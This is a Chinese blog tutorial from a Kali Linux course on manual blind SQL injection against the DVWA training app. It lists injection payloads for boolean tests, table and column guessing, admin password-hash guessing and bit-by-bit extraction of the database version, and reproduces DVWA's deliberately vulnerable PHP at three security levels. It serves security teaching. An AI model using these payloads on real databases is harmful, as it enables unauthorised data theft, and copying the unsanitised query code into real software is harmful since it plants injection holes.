Kali Linux渗透测试 092 手动漏洞挖掘-SQL盲注

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. SQL 盲注简介
2. 此处的井号和空额一样都是注释
3. 无权限时
4. 服务器源代码

1. SQL 盲注简介


  1. 不显示数据库内建的报错信息

    • 内建的报错信息帮助开发人员发现和修复问题
    • 报错信息提供关于系统的大量信息
  2. 当程序员隐藏了数据库内建报错信息,替换为通用的报错提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注

  3. 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断

    • 1 (不是所有情况都为1,而是要输入一个正确的结果,此处是输入User ID,所以输入1)

    • 1’ and 1=1–

      结果为真时,有结果
      

    • 1’ and 1=2–

      结果为假时,无结果
      

    • 1’ order by 5– 假

      无结果,说明为假
      

    • 1’ order by 2– 真

      有结果,说明为真
      

    • 1’ union select 1,2–+

    • 1’ union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())–

    • 1’ and 1=0 union select null,table_name from information_schema.tables#

      # 此处的井号和--空额一样,都是注释。“#” == “-- ”
      

    • 1’ and 1=0 union select null,table_name from information_schema.columns where table_name=’users’ #

2. 无权限时


无权读取 information_schema 库 / 拒绝 union、order by 语句

  • 猜列名:1’ and user is not null–+

    • 1’ and user is null–

      无结果,结果为假,说明 user 非空
      

    • 1’ and user is not null–

      有结果,结果为真,说明 user 非空,存在 user 列
      

  • 猜当前表表名:1’ and table.user is not null–+

    通过 user 列,猜表名,一般形式 table.user
    
    • 1’ and table.user is not null–

      无结果,说明 table 表不存在
      

    • 1’ and users.user is not null–

      有结果,说明为真,说明 users 表存在
      

  • 猜库里其他表:1’ and (select count() from table)>0–+

    • 1’ and (select count(*) from table)>0–

      无结果,说明 table 表不存在
      

    • 1’ and (select count(*) from guestbook)>0–

      有结果,说明为真,说明 guestbook 表存在
      

  • 列表对应关系:1’ and users.user is not null–+

    有结果,说明为真,表和列对应关系存在
    

  • 猜字段内容:1’ and user=’admin、1’ or user like ‘%a%

    • 1’ and user=’administtator

      无结果,说明 administtator 字段不存在
      

    • 1’ and user=’admin

      有结果,说明为真,说明 administtator 字段存在
      

    • 1’ or user like ‘%a%

      有结果,说明为真,查询到可能存在的字段名,然后可以挨个尝试
      

  • 猜账号对应密码:2’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99

    • 1’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99

    • 2’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99

    • 3’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99

3. 真实案例


  • 使用是或非来判断 SQL 信息,1’ and ORD(MID((VERSION()),1,1))&1>0–+

    • ORD(string) #得出字符的 ASCII码

      ORD(a)结果为97
      
    • MID(列名, 查询位置, 步长)&ASCII码每一位代表的十进制

      例如 MID(列名, 查询位置, 步长)&32
      MID(列名, 查询位置, 步长)&64
      
      # 判断第一位字符的ASCII码的每一位,之后将ASCII码合成十进制
      ORD(MID((VERSION()),1,1))&1>0
      ORD(MID((VERSION()),1,1))&2>0
      ORD(MID((VERSION()),1,1))&4>0
      ORD(MID((VERSION()),1,1))&8>0
      ORD(MID((VERSION()),1,1))&16>0
      ORD(MID((VERSION()),1,1))&32>0
      ORD(MID((VERSION()),1,1))&64>0
      ORD(MID((VERSION()),1,1))&128>0
      
      # 判断第二位字符的ASCII码的每一位,之后将ASCII码合成十进制
      ORD(MID((VERSION()),2,1))&1>0
      ORD(MID((VERSION()),2,1))&2>0
      ORD(MID((VERSION()),2,1))&4>0
      ORD(MID((VERSION()),2,1))&8>0
      ORD(MID((VERSION()),2,1))&16>0
      ORD(MID((VERSION()),2,1))&32>0
      ORD(MID((VERSION()),2,1))&64>0
      ORD(MID((VERSION()),2,1))&128>0
      
      # 判断第三位字符的ASCII码的每一位,之后将ASCII码合成十进制
      ORD(MID((VERSION()),3,1))&1>0
      ORD(MID((VERSION()),3,1))&2>0
      ORD(MID((VERSION()),3,1))&4>0
      ORD(MID((VERSION()),3,1))&8>0
      ORD(MID((VERSION()),3,1))&16>0
      ORD(MID((VERSION()),3,1))&32>0
      ORD(MID((VERSION()),3,1))&64>0
      ORD(MID((VERSION()),3,1))&128>0
      
      #以此类推,就可以查出具体的版本信息
      
    • 1’ and ORD(MID((VERSION()),1,1))&1>0–+

      查询结果:

      第1位:ASCII码:00110101:53:5
      第2位:ASCII码:00101110:46:.
      第3位:ASCII码:00110000:48:0
      第4位:ASCII码:00101110:46:.
      第5位:ASCII码:00110101:53:5
      第6位:ASCII码:00110001:49:1
      第7位:ASCII码:01100001:97:a
      第8位:ASCII码:00101101:45:-
      第9位:ASCII码:00110011:51:3
      第10位:ASCII码:01110101:117:u
      第11位:ASCII码:01100010:98:b
      第12位:ASCII码:01110101:117:u
      第13位:ASCII码:01101110:110:n
      第14位:ASCII码:01110100:116:t
      第15位:ASCII码:01110101:117:u
      第16位:ASCII码:00110101:53:5
      
      排序:5.0.51.a-3ubuntu5
      
    • 可以查询 CURRENT_USER()、DATABASE()

4. 服务器源代码


  1. dvwa Low 安全级别

    <?php    
    if (isset($_GET['Submit'])) {
        // Retrieve data
        $id = $_GET['id'];
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
        $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
        $i = 0;
        while ($i < $num) {
            $first = mysql_result($result,$i,"first_name");
            $last = mysql_result($result,$i,"last_name");
            echo '<pre>';
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            echo '</pre>';
            $i++;
        }
    }
    ?>
    
  2. dvwa Medium 安全级别

    <?php
    if (isset($_GET['Submit'])) {
        // Retrieve data
        $id = $_GET['id'];
        $id = mysql_real_escape_string($id);
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
        $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
        $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
        $i=0;
        while ($i < $num) {
            $first=mysql_result($result,$i,"first_name");
            $last=mysql_result($result,$i,"last_name");
            echo '<pre>';
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            echo '</pre>';
            $i++;
        }
    }
    ?>
    
  3. dvwa High 安全级别

    <?php    
    if(isset($_GET['Submit'])){
        // Retrieve data
        $id = $_GET['id'];
        $id = stripslashes($id);
        $id = mysql_real_escape_string($id);
        if (is_numeric($id)) {
            $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
            $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
            $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
            $i=0;
            while ($i < $num) {
    
                $first = mysql_result($result,$i,"first_name");
                $last = mysql_result($result,$i,"last_name");
    
                echo '<pre>';
                echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
                echo '</pre>';
                $i++;
            }
        }
    }
    ?>
    
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值